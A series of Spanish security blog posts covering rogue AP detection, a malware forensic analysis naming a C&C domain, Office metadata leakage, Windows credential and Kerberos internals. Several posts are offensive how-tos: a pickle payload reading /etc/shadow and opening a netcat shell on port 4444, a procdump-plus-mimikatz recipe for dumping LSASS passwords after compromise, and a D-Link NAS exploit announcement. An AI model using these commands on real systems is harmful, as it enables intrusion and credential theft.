Quantcast
Channel: 4null0
Viewing all 125 articles
Browse latest View live

Una pasiva forma de detectar un Rogue AP.

$
0
0

¿Qué es un Rogue AP?

Hay muchas opiniones al respecto, por ejemplo:

1.- Según “www.rogueap.com”, un sitio web dedicado a informar sobre diversos aspectos de los Rogue AP (Rogue Access Point // Punto de accesos pícaros): “A Rogue Access Point (Rogue AP) is a wireless access point installed on a wired enterprise network without authorization from the network administrator. A Rogue AP may be naively installed by a legitimate user who is unaware of its security implications or it could be deliberately installed as an insider attack. A Rogue AP could also be easily smuggled onto enterprise premises by an outsider. In any case, a Rogue AP poses serious security threat to a wired enterprise network as it provides a wireless backdoor into the enterprise network for outsiders, bypassing all wired security measures such as firewalls and network access control (NAC).

2.- Según Linksys: “Un Rogue AP (entrada ficticia AP) es un punto de acceso que se ha instalado en una red segura sin la autorización explícita de un administrador del sistema.  Los puntos de acceso no autorizados representan una amenaza para la seguridad porque cualquier persona que tenga acceso a las instalaciones puede instalar sin saber o de forma malintencionada un dispositivo WAP inalámbrico de bajo costo que potencialmente puede permitir el acceso a la red a personas no autorizadas”

3.- Según Cisco: “Las redes inalámbricas amplían las redes alámbricas y aumentan la productividad de los trabajadores y el acceso a la información. Sin embargo, una red inalámbrica no autorizada representa un problema de seguridad añadido. Se pone menos cuidado en la seguridad de los puertos de las redes alámbricas, y las redes inalámbricas son una extensión fácil de las redes alámbricas. Por lo tanto, un empleado que traiga su propio punto de acceso de Cisco (AP) a una red inalámbrica o una infraestructura cableada bien protegida y permita el acceso de usuarios no autorizados a esta en principio red protegida puede comprometer fácilmente una red segura.“

4.- Según tenaza.com: “Un punto de acceso rogue es un punto de acceso intruso que propaga el mismo SSID de un punto de acceso en otra red, sin autorización explícita del administrador de la red. A través de esta técnica de hacking, los puntos de acceso intrusos pueden acceder los datos de tus usuarios Wi-Fi, asimismo amenazando la seguridad de esta red.”

Desde un punto de vista subjetivo, un Rogue AP puede consistir en un punto de acceso:

1.- conectado a la red corporativa de una empresa sin permiso de los responsables permitentes

2.- conectado a una red corporativa o no, que suplanta el mismo ESSID que una red Wi-Fi .

3.- conectado o no a alguna red, que suplanta un ESSID legítimo o no, y que mantiene la conexión en Wi-Fi en  abierto

, Y SIEMPRE EXISTE CON INTENCIONES MALICIOSAS, como:

1.- recoger todo tipo de información relacionada con las personas que se encuentran detrás de los ordenadores que se han conectado a dicha Wi-Fi
2.- evitar las medidas de seguridad u otras medidas.
3.- inyectar código en las conexiones web de los usuarios de dicha Wi-Fi para minar cryptomonedas
4.- infectar malware a los usuarios de dicha Wi-Fi
5.- etc.

En cualquier caso, dichos dispositivos deben ser detectados y apagados para no que nos perjudiquen como usuarios.

¿Cómo detectar un Rogue AP?

Existen métodos para detectar la presencia de un Rogue APP, que se pueden dividir en:

1.- Detección activa

Por la información obtenida, sólo Cisco trabaja con dicha detección.

Está detección consiste en conectarse a las distintas redes WI-FI, siempre y cuando sea posible, para intentar obtener una IP, y pasar a recoger información sobre dicho AP, con la intención de catalogarlo como malicioso o no.

2.- Detección pasiva.

Si no posible realizar la detección activa, debido a que el “posible” Rogue AP tiene establecida una clave de autenticación, que se desconoce. Entonces se pasa a la detección pasiva.

El factor de detección depende del fabricante.

El código que se expone en esta entrada de blog realiza comprobaciones en función del ESSID, más concretamente, el código está pensado para encontrar APs que intentan suplantar a otros APs.

El funcionamiento es simple, si al escanear las frecuencias Wi-Fi se encuentran dos APs con idéntico ESSID, se considera que estamos ante la presencia de un Rogue AP.

El código en un primer momento se desarrollo en “bash” (*NIX) ,  aunque posteriormente salto a Python.

La versión presentada puede ser utilizada en sistemas Windows y Linux.

 Importaciones, definición de colores y definición de variables.


Código que se ejecutará en los entornos Windows


Código que se ejecutará en los entornos Linux

Mensaje si se utiliza otro sistema operativo distinto a los contemplados.

Algunas referencias ojeadas:

https://www.cisco.com/c/es_mx/support/docs/wireless-mobility/wireless-lan-wlan/70987-rogue-detect.pdf
https://www.cisco.com/c/en/us/support/docs/wireless-mobility/wireless-lan-wlan/70987-rogue-detect.html
http://www.rogueap.com/
https://community.arubanetworks.com/t5/Controller-Based-WLANs/How-does-Rogue-AP-detection-work/ta-p/178578
https://www.tanaza.com/es/funcionalidades/escaner-de-redes-wifi/
https://www.cisco.com/c/es_mx/support/docs/wireless-mobility/wireless-lan-wlan/70987-rogue-detect.pdf
https://www.linksys.com/cr/support-article?articleNum=135793

En cualquier caso …

Lo que hagas con la información es cosa tuya, no mía ... pero ten conciencia.

El pasado siempre vuelve y no todos reaccionan bien.

$
0
0

Durante este mes se procedió a realizar un análisis forense, con la intención de encontrar un proceso que generaba demasiado ruido en la red, pero que termino convirtiéndose en un análisis de malware.

NOTA:Hubo clonado de disco duro para no perjudicar en nada al usuario y así poder trabajar en un entorno controlado, es decir, se tomaron las medidas necesarias en todo análisis forense, quitando la presencia del notario.

Tras arrancar el sistema clonado en un entorno controlado, se pudo ver que por problemas de permisos no se podía continuar, por lo que antes de obtener las credenciales se decidió introducir un pendrive con la esperanza de que se infectara, ya que desde un primer momento se considero la probabilidad de que estuviéramos ante un malware.

¡Y así fue!

Se pudo observar que el antivirus instalado en el disco duro clonado detecto los “enlaces directos” creados por el pendrive. No así un archivo de nombre: Update.js, que poseía atributos: S (sistema) y H (oculto), y que fue descubierto al observar el listado obtenido como consecuencia de ejecutar el comando: attrib.

A partir de este punto, se tomó la determinación de trabajar con el archivo encontrado, y descartar la petición de las credenciales.

Al abrir el documento con la aplicación: notepad, se visualizó el siguiente contenido.

Código encontrado.

Como se pudo observar, dicho código contenía alguna que otra técnica para dificultar su análisis.  Entre las cuales se encontró el uso de códigos de caracteres ASCII, como se pudo apreciar por el uso de la función: String.fromCharCode(<número>)

Por lo que se paso a realizar labores de traducción, obteniendo cadenas del estilo: WScript.Shell, Sys, Wow64,etc. Entre dichas cadenas, las más importante e interesante se encontró al final del documento.

Líneas de código de interés.
Estas líneas tras traducirlas decían:

Líneas traducidas.
De lo cual se deduce que:

1.- Se ejecutará la variable global: s_67950390018

2.- La variable global anterior contendrá información contenida dentro de la variable: s_74911521688, que viene determinada por la siguiente ejecución: Chrw(Ascw(Mid(s_74911521688,i,1))Xor(Eval((50*3)105)))

Por lo tanto, el archivo: Update.js, no es más que un lanzador de código embebido en el propio archivo.

Para extraer el código embebido, contenido en la variable: s_67950390018, se modificó el archivo: Update.js, introduciendo el siguiente:

msgbox(s_67950390018)
Set of=createobject("Scripting.FileSystemObject")
Set at=of.OpenTextFile("CodigoMalware",8,true)
at.WriteLine s_67950390018

Este código graba sobre el archivo: CodigoMalware, el contenido de la variable: s_67950390018

NOTA:msgbox (s_67950390018), muestra por pantalla, como mucho, 256 caracteres del contenido de la variable, por lo que nos sirve como control de ejecución.

En definitiva, el archivo: Update.js, en sus últimas líneas contendrá el siguiente código.

Últimas líneas del archivo:Update.js

Tras su ejecución, se pudo observar  el contenido del archivo; CodigoMalware

Líneas iniciales del malware encontrado

A partir de aquí se analizo el código obtenido, llegando a las siguientes conclusiones:

1.- Se replica como si fuera un gusano a través de las unidades de red y/o pendrives.

2.- Envía información hacía un servidor remoto que hace a su vez las funciones de C&C.
               
Concretamente el dominio es: hkp7oo.no-ip.biz
                Puerto de comunicación: 77

3.- Recaba información del sistema que es enviada en archivos con extensión: .jpg, aunque internamente es un archivo con formato: xml, codificado en base64

NOTA:Este punto sólo lo realiza durante el proceso de infección.
 
4.- Se debe de catalogar como: troyano, ya que posee persistencia , además de que se queda a la espera de recibir instrucciones desde su C&C.
               
Entre los comandos que espera, se encuentran:

Comandos utilizados por el troyano

Mientras se realizaba la investigación se remitió el archivo: Update.js, al proveedor antivirus para su evaluación y generación de vacuna.

El proveedor, nos confirmo que conocían la existencia desde el 2016, y que su detección ya no se realizaba debido a que no se incluía, ya, en los patrones de búsqueda

CONCLUSIÓN

Con eliminar el troyano del disco duro infectado, se solventa la infección.

En cuanto a la labor de la casa antivirus … NO HAY COMENTARIOS (aunque es obvia mi opinión)

Aludiendo a esto, si esto mismo ocurre con otras casas de antivirus, se puede decir abiertamente que nos encontramos desprotegidos aún teniendo un antivirus instalado.












Notas sobre la gestión de credenciales en Windows

$
0
0


RESUMIENDO


Cuando las aplicaciones requieren autenticar a un usuario, estás pueden enviar la petición a SSPI especificando el servicio al que sean acceder, los parámetros necesarios, como el SSP a utilizar, y las credenciales necesarias, si éstas no han sido cacheadas por Windows ya durante el inicio de sesión. SSPI examinará el contenido de la petición y lo pasará al SSP correspondiente para que lleve a cabo la autenticación y devuelva el resultado a SSPI. Éste, entonces, lo comunica a la aplicación.

Más información: https//technet.microsoft.com/en-us/library/dn751047(v=ws.11).aspx

NOTAS:

SSP Digest

  • Puede ser implementado por aplicaciones cliente/servidor que utilicen comunicaciones en HTTP o SASL.
  • Las credenciales se envían sobre la red en forma de  MD5 o mensaje Digest.
  • Fue introducido en Windows XP, y conserva la contraseña cifrada en memoria de una manera que puede ser descifrada (la contraseña de cifrado fue publicada por Microsoft)
  • Deshabilitado por defecto desde Windows 8.
  • Este es el principal culpable de que herramientas como Mimikatz y WCE sean capaces de extraer contraseñas en texto claro.
SSP Negotiate

Se utiliza para negociar el protocolo de autenticación a utilizar. Este puede realizarse:

1.- Especificando un único protocolo de autenticación



2.- Se negocia el protocolo, mediante el mecanismo: Simple and Protected GSSAPI Negotation Mechanism (SPNEGO)



Single Sign-On

Permite suministrar las credenciales sólo una vez, sin necesidad de introducirlas una y otra vez.

Es importante entender que el proceso de autenticación se produce, pero es transparente para el usuario. Para ello, Windows guarda localmente en memoria las credenciales, concretamente gracias al subsistema: LOCAL SECURITY AUTHORITY (LSA)

Las técnicas: Pass-the-hash y Pass-the-tickets, abusan de ésta característica para obtener los hashes y tickets kerberos

Local Security Authority (LSA)

Es un subsistema protegido que autentica y permite la autenticación de usuarios en las máquinas.

En general, es responsable de:

  • Administrar la política de seguridad local
  • Proporcionar los servicios para la autenticación o inicio de sesión interactivo
  • Genera tokens de acceso
  • Administra las políticas de auditoria

NOTA:

Access Token: es un objeto o estructura de datos que describe el contexto de seguridad de un proceso o hilo. Cuando un usuario inicia sesión en un sistema Windows, el sistema comprueba que las credenciales son correctas y LSAgenera un access token asociado a dicho usuario. Posteriormente, todo proceso ejecutado por este usuario tendrá asignado un access token derivado de dicho token. Por lo tanto, en Windows, todo proceso o hilo tiene un Access token asignado.

Esta estructura de datos contiene información con el SID de usuario, el SID de los grupos a los que el usuario pertenece, los privilegios asignados al usuario o sus grupos, referencia a su sesión de logonasociada para realizar Single Sign-On, etc.
Además, los access token forman parte del proceso de autenticación automática contra otros sistemas en la red, por lo que cada uno de ellos contiene la referencia a la sesión logonasociada, la cual se almacena en LSASSy contiene las credenciales necesarias para realizar el inicio automático de sesión.

Como añadido, cuando un usuario administrador local inicia sesión en una máquina, dos access tokens separados se crearán para este usuario: uno estándar y otro de administrador.

Más información: https//technet.microsoft.com/en-us/library/Windows/desktop/aa374909(v=vs.85).aspx


Dependiendo del tipo de cuenta a autenticar, LSA procederá:

  • Si las credenciales son locales, LSA validará la información de usuario contra la BBDD local SAM (Security Accounts Manager
  • Si las credenciales pertenecen a un dominio, LSA contactará con el controlador de dominio para verificar que la información facilitada es válida

Así mismo, y sólo en algunas ocasiones, LSA guarda ciertas credenciales en disco de manera cifrada. Algunas de estas credenciales son:

  • Contraseña de la cuenta de equipo de AD. Esto se utilizará en aquellos casos donde la máquina necesite autenticarse mediante su cuenta de dominio AD pero el controlador de dominio no esté disponible en ese momento o no se disponga de conexión a la red.
  • Contraseñas de las cuentas de servicios Windows configurados en la máquina
  •  Contraseñas de las cuentas para las tareas programadas
  •  Otras

Dentro de este subsistema, reside el proceso: LSASS (Local Security Authority Subsystem Service)

Local Security Authority Subsystem Service (LSASS)

Este proceso es el responsable, en última instancia, de imponer las políticas de seguridad en el sistema, administrar los cambios de contraseñas y crear access tokens. Así mismo, puede almacenar credenciales, aunque sólo de sesiones activas.

Objetivo: NAS D-Link 320/325

$
0
0
Se procede a exponer código para la explotación de vulnerabilidades relativas a NAS D-Link 320 y 325.

IMPORTANTE: Esto no es nada nuevo, simplemente es la elaboración en python de un script visto en Perl, al cual se le ha añadido la RCE.

Más concretamente, dicho código reúne la posibilidad de explotar:

1.- Vulnerabilidad por la cual se ejecuta código remoto (comandos) del sistema
2.- Dos vulnerabilidades por las cuales se pueden hacer sendos DoS
3.- Vulnerabilidad por la cual se puede resetear la configuración del NAS para devolverla al estado de fábrica
4.- Vulnerabilidad por la cual se puede apagar el NAS

Sin más …




En cualquier caso …

Lo que hagas con la información es cosa tuya, no mía ... pero ten conciencia.



¡Olvidado rey metadato!

$
0
0


Las pruebas que se presentan en este documento han sido hechas con dos máquinas, una de las cuales tiene instalado un sistema operativo Windows 7 y la otra tiene un sistema operativo Windows 10. Ambas, eso sí, tienen instalado el paquete ofimático Microsoft Office 2007, así como WinRar.

Añadir que se han utilizado la misma imagen “jpg” para incluir/vincularla en el documento en ambas máquinas.

Tras este prefacio, empecemos…

Todos tenemos controlados los metadatos de los archivos ofimáticos, sabemos cómo eliminarlos y como extraerlos con distintas herramientas. Pero, ¿qué ocurre cuando insertamos y/o vinculamos un elemento en un documento ofimático, por ejemplo en un documento Word?

NOTA:Para quién no lo sepa, la diferencia entre insertar y vincular es que cuando vinculamos; si se modifica algo de archivo origen, en nuestro caso un archivo “jpg”, el archivo ubicado en el documento Word también mostrará la modificación. No así si insertamos el archivo.

Decir antes de nada, que para ver la estructura interna del documento se aprovechará la característica que permite abrir un documento ofimático (que es un conjunto de directorios, y documentos XMLs), con WinRar (software de compresión/descompresión).

Para todos los casos que se van a exponer aquí, siempre nos fijaremos en el contenido del archivo: document.xml, ubicado dentro de la carpeta: Word, ya que dicho archivo, guarda el contenido que nosotros escribimos en el documento ofimático.

Al abrir el documento, buscaremos el objeto: <a:graphic>, y dentro de este documento buscamos dos ubicaciones:

1.- <wp:docPr>
2.- <pic:cNvPr>

Archivo con imagen insertada en Windows 7

Estructura interna del documento ofimático

¿Qué ocurre si insertamos la imagen?

Objetos donde mirar
 
Como se puede ver, <wp:docPr> y <pic:cNvPr> contiene un campo: descr, que contiene la ubicación del documento.

Esto nos está revelando información(metadatos), en nuestro caso, usuario (auditor) y como se ha comentado  antes, árbol de directorios donde reside el archivo.

¿Qué ocurre si vinculamos la imagen?

Vemos que: <wp:docPr>, nos sigue dando la misma información vista antes.




¿Y si la imagen es insertada desde una carpeta compartida ubicada en otro sistema?


Vemos que: <wp:docPr>, nos sigue dando información, pero en este caso nos da la dirección de red interna y el nombre de la carpeta compartida donde reside el archivo insertado.

Hasta aquí perfecto, ¡o no!

Ahora cambiemos de sistema operativo y vayámonos al Windows 10

¿Qué ocurre si insertamos la imagen?


Pues que nada de los visto en el Windows 7 es igual en Windows 10, y de hecho, no se proporciona ningún metadato.

¿Qué ocurre si vinculamos la imagen?



Vemos que: <wp:docPr>, nos vuelve a dar información.


¿Y si la imagen es insertada desde una carpeta compartida ubicada en otro sistema?


Pues que nada de los visto en el Windows 7 es igual en Windows 10, y de hecho, no se proporciona ningún metadato.

Conclusiones

Parece que todo depende del sistema operativo con el que trabajemos y del método que utilicemos: inserción o vinculación.

Los datos aportados permiten decir que lo mejor para no tener metadatos adicionales a los que ya maneja nuestro paquete Office es trabajar con un sistema Windows 10 y que las imágenes/datos deben ser insertadas/os.


En cualquier caso …

Lo que hagas con la información es cosa tuya, no mía ... pero ten conciencia.
 

¡Olvidado rey Metadatos! - Parte II

$
0
0

En el último post, se mostró la existencia de datos de interés (metadatos) en objetos insertados/vinculados en ficheros ofimáticos.

Ahora uno se podría preguntar, ¿es posible extraer los metadatos de los elementos vinculados/insertados utilizando alguna de las herramientas existentes?

Pues probemos…

NOTA: No hay mala intención en ésta comparativa.

Para ello y mediante una búsqueda en San Google, se encontró el enlace a un artículo en donde se exponía varias herramientas, alguna de las cuales han sido las que se han utilizado.

El archivo con el que se va a probar tiene el título: Prueba de concepto con una imagen vinculada-Local -copia.docx


, y contiene el siguiente metadato relacionado con la imagen vinculada.


Los resultados son:




1.- ExtractMEtada.com





2.- https://www.get-metadata.com





3.- https://metashieldclean-up.elevenpaths.com/




4.- FOCA


Como se puede comprobar, ninguna de las herramientas ha podido extraer la información incluida en la imagen vinculada en el documento.

Para solventar esto, se ha desarrollado una pequeña aplicación en python de nombre ExtractorMTDTOS, que se puede descargar desde aquí.

NOTA: Esta herramienta es complementaria a lo que ya se tenga, NO es la herramienta definitiva, ni lo pretende. Aunque a esta respecto, se ha incluido en la herramienta de Hartek (buscador de metadatos muy completo) mi parte de código. Muchas gracias Hartek

Un ejemplo de cómo extrae información es:











En cualquier caso …

Lo que hagas con la información es cosa tuya, no mía ... pero ten conciencia.
 

NOTA: Parámetros aceptados

El pepinillo y el pty

$
0
0


Fui un incrédulo y me arrepiento … los CTF´s ayuda y mucho.

Gracias a ellos, se puede aprender a aprovecharse de ciertas librerías de Python para ganar una shell, más concretamente podemos aprovecharnos de la librería cPickled y de la librería PTY.

La librería cPickled se usa para serializar y deserializar estructuras de objetos, y se instala por defecto al instalar el entorno de Python (Más información). Pero su funcionalidad puede ser utilizada para ejecutar comandos del propio sistema, entre otras cosas.

La ejecución de comandos del sistema es tan simple como ejecutar en el entorno python la siguiente instrucción:

cPickle.loads(“c<librería>\n<función de la librería>\n(S'<comando a ejecutar>'\ntR. '\ntR.”)

Y para muestra, unos botones: 
 
1.- cPickle.loads("cos\nsystem\n(S'cat /etc/shadow | head -n 5'\ntR.'\ntR.")

Es una forma de ejecutar comandos del sistema a través de Python

En este caso se buscan las  contraseñas de un sistema Linux, pero debemos tener en cuenta el usuario que con el que se ha ejecutado el intérprete de Python, y por lo tanto de sus permisos, tal y como se muestra en el ejemplo de la siguiente imagen
 


2.- cPickle.loads("cposix\nsystem\np0\n(S'netcat -c '/bin/bash -i' -l -p 4444'\np1\ntp2\nRp3\n.")

Ejecución de la función: loads, de la librería cPickled

En este caso se busca montar una shell basada en ‘netcat’, que funcione de manera interactiva.

Conexión con la Shell montada sobre el puerto 4444

Con este último ejemplo tenemos un inconveniente, y es que hay ciertos comandos que no pueden ejecutarse correctamente debido a la gestión de la salida por pantalla, incluso habiendo solicitado la interactividad.

Pongamos un ejemplo: tras conectarnos remotamente al puerto 4444, intentamos saltar al puerto 22/TCP (SSH) de la misma máquina. 

No se obtiene respuesta de ningún tipo, mientras que si miramos en nuestro equipo (Shell donde se estaba trabajando con el intérprete de Python) la respuesta/error aparecerá, informándonos de la falta de interactividad.

Ejecución del comando: ssh

Respuesta/Error obtenido.

Este problemilla se puede resolver mediante la librería de python: PTY

Esta librería define las operaciones para manejar el concepto de pseudo-terminal: iniciar otro proceso y poder escribir/leer desde su terminal de control mediante programación (Más información), y se instala por defecto al instalar el entorno de Python.

IMPORTANTE: Esta librería sólo funciona bajo sistemas Linux.

Por lo tanto, para salir de un entorno Python y ganar una Shell que nos permita ejecutar comandos del sistema, sólo deberemos lanzar la siguiente instrucción:

Import pty; pty spawn (“/bin/bash”) 

 Ganamos una shell totalmente interactiva.

Como se puede observar, la petición del comando: ssh root@127.0.0.1”, ya no nos dará el error: “Pseudo-terminal will not be allocated because stdin is not a terminal”, visto anteriormente.

 Petición de comunicación con el puerto 22/TCP (SSH) tras ganar una shell totalmete interactiva

Hasta aquí todo perfecto, pero añadamos ahora como sugerencia, la posibilidad de usar la combinación de ambas librerías para abrir un shell remota, real y totalmente interactiva. Para ello debemos:

1.- Ejecutar en el entorno python:cPickle.loads("cposix\nsystem\np0\n(S'netcat -c '/bin/bash -i' -l -p 4444'\np1\ntp2\nRp3\n.")


2.- Conectarnos a través de: nc 127.0.0.1 4444 

3.- Ejecutar: python –c “import pty; pty.spawn(‘/bin/bash’)” 


4.- La imaginación al poder.

En cualquier caso …

Lo que hagas con la información es cosa tuya, no mía ... pero ten conciencia.

ENLACES DE INTERES

En referencia a la librería cPickled:

• https://dan.lousqui.fr/explaining-and-exploiting-deserialization-vulnerability-with-python-en.html 
• https://penturalabs.wordpress.com/2011/03/17/python-cpickle-allows-for-arbitrary-code-execution/ 
• https://blog.nelhage.com/2011/03/exploiting-pickle/ • https://lincolnloop.com/blog/playing-pickle-security/ 
• https://gist.github.com/mgeeky/cbc7017986b2ec3e247aab0b01a9edcd 
• https://gist.github.com/0xBADCA7/f4c700fcbb5fb8785c14 

 En referencia a otras maneras de conseguir una shell interactiva

• https://netsec.ws/?p=337 

En referencia a la personalización de la shell interactiva conseguida

• https://medium.com/bugbountywriteup/pimp-my-shell-5-ways-to-upgrade-a-netcat-shell-ecd551a180d2

Resumiendo Kerberos

$
0
0

¿Qué es Kerberos?

Informáticamente hablando Kerberos es un protocolo de autenticación cliente-servidor, y quizás su exponente más famoso sea su uso por parte del Directorio Activo de Windows.

Es decir, su funcionamiento gira alrededor de un servidor que autentica al usuario, comprueba y autoriza a ponerse en contacto con los diferentes servidores y equipos cliente, con la intención de hacer uso de los servicios que existen en la red. Pero, y esto es crucial, NO AUTORIZA EL USO DE LOS RECURSOS, eso lo hacen otros protocolos.

En definitiva, Kerberos se utiliza para autenticar usuarios dentro un dominio, con dos intenciones:

1.- Validarse dentro de un dominio.

Esto permitirá al usuario obtener un ticket TGT (Ticket Granting Ticket), que le permitirá moverse por los recursos del dominio y solicitar a posteriori tickets TGS para el servicio al que se quiera acceder. Para lo cual, se deben seguir los siguientes pasos:

1.1.- Petición de autenticación entre el usuario y el controlador de dominio.
 


               Ataques que pueden llevarse a cabo en este punto: Overpass-the-Hash

1.2.- Respuesta del controlador de dominio siempre y cuando la autenticación sea SATISFACTORIA.

NOTA: Esto se determina por parte del controlador de dominio descifrando el timestamp con la clave del usuario que almacena el propio controlador




Ataques que pueden llevarse a cabo en este punto:Golden Ticket

2.- Validarse contra un servicio/recurso interno del dominio.

Esto permitirá al usuario conectarse con un recurso/servicio existente dentro del dominio. Para ello se necesita obtener un ticket TGS (Ticket Granting Service), que le permitirá acceder al recurso solicitado. Para lo cual, se deben seguir los siguientes pasos:

2.1.- Solicitud del ticket TGS al controlador de dominio


Ataques que pueden llevarse a cabo en este punto:Golden Ticket y Pass-the-Ticket
 
2.2.- Respuesta del controlador de dominio siempre y cuando el ticket TGT enviado sea correcto.


2.3.- Entrega del ticket TGS al servidor que comparte el recurso/servicio



 
A partir de aquí ya se podría acceder al recurso/servicio, eso sí, el servidor de aplicaciones ha debido validar los permisos del usuario.

En cualquier caso …

Lo que hagas con la información es cosa tuya, no mía ... pero ten conciencia.




Resumiendo Kerberos - Ataques

$
0
0

En el anterior post se habló de manera resumida del protocolo Kerberos, y de los posibles ataques en función del paso donde nos encontráramos en los procesos de autenticación. Hoy se quiere profundizar un poco en esos ataques, eso sí de manera teórica.

Al final del post se mencionará un enlace hacía otro post, en donde al igual que aquí se habla de los ataques a Kerberos pero además se exponen herramientas y ejemplos.

Los ataques sobre el protocolo Kerberos son:

Overpass-the-Hash (OtH)/Pass-the-Key (PtK)

Como se comentó en el post anterior, este ataque se puede producir en el paso 1.1 (Validarse dentro de un dominio / Petición de autenticación entre el usuario y el controlador de dominio).

Este ataque consiste en enviar un hash NT local de un usuario del dominio al KDC (Key Domain Controller) con la intención de obtener un ticket TGT. A partir de ahí, ya podremos acceder a los recursos/servicio para los cuales el susodicho usuario del sistema, por el que nos hayamos hecho pasar, tuviera permisos.

Para conseguir el hash NT local tendremos que mirar los ficheros SAM de las estaciones de trabajo, el fichero NTDS.DIT ubicado en los DC (Domain Controller – Controladores de dominio), o la memoria del proceso Lsass (la famosa herramienta Mimikatz en basa en extraer los hashes de la memoria )

IMPORTANTE:Cuando un usuario normal se quiere validar en el dominio, entre la información que envía se encuentra un “timestamp”. Si dicho “timestamp” supera los 5 minutos de diferencia respecto del tiempo que tiene el servidor KDC, éste no enviará el ticket TGT al usuario, es decir, no se habrá validado correctamente.

Pass-the-Ticket (PtT)

Como se comentó en el post anterior, este ataque se puede producir en el paso 2.1 (Validarse contra un servicio/recurso interno del dominio / Solicitud del ticket TGS al controlador de dominio)

Este ataque consiste en, secuestrado un ticket TGT o TGS de un usuario, enviarlo para obtener en el primer caso, un ticket TGS o, en el segundo caso, acceso a un recurso o servicio.

IMPORTANTE:
1.- En este ataque no sólo es necesario tener el ticket, si que también es necesario obtener la clave de sesión TGT otorgada por el KDC, como la clave de sesión del servicio.
En cualquier caso, las claves de sesión se pueden encontrar en la memoria del sistema.

2.- Los tickets, por defecto, tienen una vida de 10 horas.

Para conseguir el ticket tendremos que mirar la memoria del proceso Lsass (la famosa herramienta Mimikatz puede ayudarnos)

Golden ticket

Como se comentó en el post anterior, este ataque se puede producir en el paso 1.2 (Validarse dentro de un dominio / Respuesta del controlador de dominio siempre y cuando la autenticación sea SATISFACTORIA), o en el paso 2.1 (Validarse contra un servicio/recurso interno del dominio / Solicitud del ticket TGS al controlador de dominio)

Este ataque se lleva a cabo tras extraer el hash NTLM de la cuenta: krbtgt, lo cual permite generar los tickets TGT que se desee. Es decir, se podrá tener el control del dominio.

Para conseguir el ticket tendremos que mirar la memoria del proceso Lsass (la famosa herramienta Mimikatz puede ayudarnos) o del fichero NTDIS.dit de cualquier controlador de dominio.

Silver ticket

Este ataque se lleva a cabo tras extraer el hash NTLM de la cuenta del propietario de un servicio, y permite generar los tickets TGS que se desee. Es decir, se podrá tener el control del servicio/recurso compartido.

ASREPRoast

Este ataque consiste en buscar usuarios que no requieren pre-autenticación de kerberos, por lo que cualquier usuario puede enviar un paquete AS_REP para solicitar un ticket TGT en su nombre.

Kerberoasting

Es una técnica que busca crackear las contraseñas débiles contenidas en los tickets TGT o TGS.

Los tickets TGT o TGS que pueden contener contraseñas débiles son los de los usuarios del dominio, ya que cualquier otra contraseña suelen contener 128 caracteres debido a que son generadas por un sistema.


NOTA FINAL:Hasta aquí los ataques sobre el protocolo Kerberos, y como lo prometido es deuda os paso el enlace comentado al principio: https://www.tarlogic.com/blog/como-atacar-kerberos/)

Por cierto, felicitar al autor del post por un trabajo excepcional

En cualquier caso …

Lo que hagas con la información es cosa tuya, no mía ... pero ten conciencia.

Por el poder de procdump!!!!!!!!!

$
0
0

Un AV (antivirus) tuvo a culpa y eso me permitió conocer una manera de extraer el material de los sueños de un ordenador: la memoria RAM asociada al proceso LSASS, de una manera no habitual.

NOTA: Este proceso almacena en la memoria RAM asociada las contraseñas en claro de los usuarios de un ordenador basado en un sistema Windows. Muchas herramientas, lanzadas en local, permiten extraer esa información, como pueda ser: mimikatz o Empire mod HackPlayers.

Para la extracción del material de los sueños, necesitaremos la siguiente lista de ingredientes:

1.- Una pizca de Procdump (herramienta perteneciente a la tool: SysInternals)
2.- Mimikatz, pero ésta vez no lo utilizaremos en el ordenador remoto, si no en una máquina virtual bajo nuestro control
3.- Entorno generador de máquinas virtuales.

Comencemos con la receta:

1.- Tener una Shell remota con el ordenadoral cuál queramos extraerle las credenciales de sus usuarios EN TEXTO CLARO.

NOTA: En este punto no puede ayudar, cada uno como pueda.

Vulnerabilidad encontrada en nuestro entorno de pruebas

Exploit preparado

Máquina vulnerada.

2.- Subir la ejecutable: Procdump.

Este ejecutable, es un ejecutable “legitimo” utilizado tanto en proceso de análisis forense como en procesos de administración de sistemas. Nos permite dumpear/clonar la memoria RAM y almacenarla en un archivo.

En nuestro entorno (Shell remota basada en meterpreter) se ha utilizado el comando: upload <archivo a subir> <ubicación en la máquina remota>

Archivo: procdump.exe subido al disco duro: C:

Archivo: procdump.exe, ubicado en la unidad C: del host vulnerado

3.- Dumpear la memoria asociada al proceso: lsass.exe

En este punto tenemos que tener en cuenta el entorno en donde nos encontramos.

Entorno
Comando
Sistema de 32 bits
Procdump.exe -accepteula –ma lsass.exe lsass.dump
Sistema de 64 bits
Procdump.exe -accepteula -64 –ma lsass.exe lsass.dump

Leyenda:

-accepeula        -> permite aceptar la licencia de Sysinternals por línea de comandos
-ma                       -> permite escribir un archivo con la memoria extraída
-64                         -> permite indicar que estamos en un entorno de 64 bits.

Proceso de dumpeo lanzado y completado


4.- Extraer el archivo anteriormente dumpeado del sistema “hackeado”, llevándolo al sistema que tenemos controlado



En nuestro entorno (Shell remota basada en meterpreter) se ha utilizado el comando: download <archivo ubicado en la máquina remota> <ubicación en la máquina local>



Descarga del archivo dumpeado

5.- Montar una máquina virtual con el mismo sistema operativo que el sistema del cual hemos extraído la memoria RAM

Resumiendo


Nuevo entorno

6.- Ejecutar mimikatz sobre el archivo que contiene la memoria RAM dumpeada.

Para lo cual:

                1.- Ejecutamos: mimikatz
                2.- Ejecutamos el comando: sekurlsa::mimidump <archivo dumpeado>
3.- Ejecutamos el comando: sekurlsa::logonPasswords full

Ejecución de mimikatz en otro entorno similar, en cuanto a sistema operativo, al que le hemos dumpeado la memoria

En cualquier caso …

Lo que hagas con la información es cosa tuya, no mía ... pero ten conciencia.

Gracias Señor por el código que me diste!!!!!!!

$
0
0

Hoy y desde aquí quiero agradecer públicamente al siguiente código las horas tan interesantes que me ha dado.

Set of = createobject("scripting.filesystemobject")
Set at = of.opentextfile("CodigoMalware",8,true)
at.writeline <variable que contiene lo que queremos extraer>


Este código me ha permitido extraer muchas líneas de comando guardas en macros de documentos ofimáticos que funcionaban como downloaders.

Para muestra un botón…

En una muestra de esta misma mañana …

TRUCO:El archivo me ha llegado a mis manos hoy, pero originalmente fue recepcionado el lunes día 30/09/2019. ¡La rapidez de los análisis es fundamental.! ;-))))

1.- Despliegue de código para extraer la información almacenada en la variable: SSLwwt, sobre el archivo: CodigoMalware


2.- Visualización del contenido del archivo



3.- Decodificación de la cadena en base64 usada por el comando en powershell.


4.- Obtención del script utilizado.

NOTA:Remarcado en amarillo tenemos la variable que contiene las distintas URLs que se consultarán para descargarse “algo”
 

